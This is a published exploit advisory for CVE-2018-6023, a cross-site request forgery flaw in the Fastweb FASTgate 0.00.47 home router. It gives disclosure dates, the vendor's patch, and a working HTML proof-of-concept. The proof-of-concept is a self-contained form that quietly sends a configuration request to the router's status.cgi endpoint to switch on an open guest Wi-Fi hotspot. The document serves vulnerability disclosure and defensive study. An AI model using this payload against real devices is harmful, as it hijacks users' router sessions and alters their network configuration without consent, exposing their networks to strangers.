42 lines
No EOL
1.9 KiB
HTML
42 lines
No EOL
1.9 KiB
HTML
# Exploit Title: Fastweb FASTgate 0.00.47 CSRF
|
|
# Date: 09-05-2018
|
|
# Exploit Authors: Raffaele Sabato
|
|
# Contact: https://twitter.com/syrion89
|
|
# Vendor: Fastweb
|
|
# Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/
|
|
# Version: 0.00.47
|
|
# CVE: CVE-2018-6023
|
|
|
|
I DESCRIPTION
|
|
========================================================================
|
|
|
|
An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site request forgery (CSRF) vulnerability allows remote attackers to hijack the authentication of users for requests that modify the configuration. This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password changing, etc.
|
|
The vulnerability was disclosed to Fastweb on 19 January 2018.
|
|
Fastweb independently patched customer devices with non-vulneable version .67 from December 2017 thru March 2018.
|
|
|
|
II PROOF OF CONCEPT
|
|
========================================================================
|
|
|
|
## Activate Gues Wi-Fi:
|
|
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://192.168.1.254/status.cgi">
|
|
<input type="hidden" name="_" value="1516312144136" />
|
|
<input type="hidden" name="act" value="nvset" />
|
|
<input type="hidden" name="hotspot_broadcast_ssid" value="1" />
|
|
<input type="hidden" name="hotspot_enable" value="1" />
|
|
<input type="hidden" name="hotspot_filtering" value="all" />
|
|
<input type="hidden" name="hotspot_security" value="WPA2PSK" />
|
|
<input type="hidden" name="hotspot_ssid" value="GUEST-Test" />
|
|
<input type="hidden" name="hotspot_timeout" value="-1" />
|
|
<input type="hidden" name="service" value="wl_guestaccess" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
III REFERENCES
|
|
========================================================================
|
|
http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/ |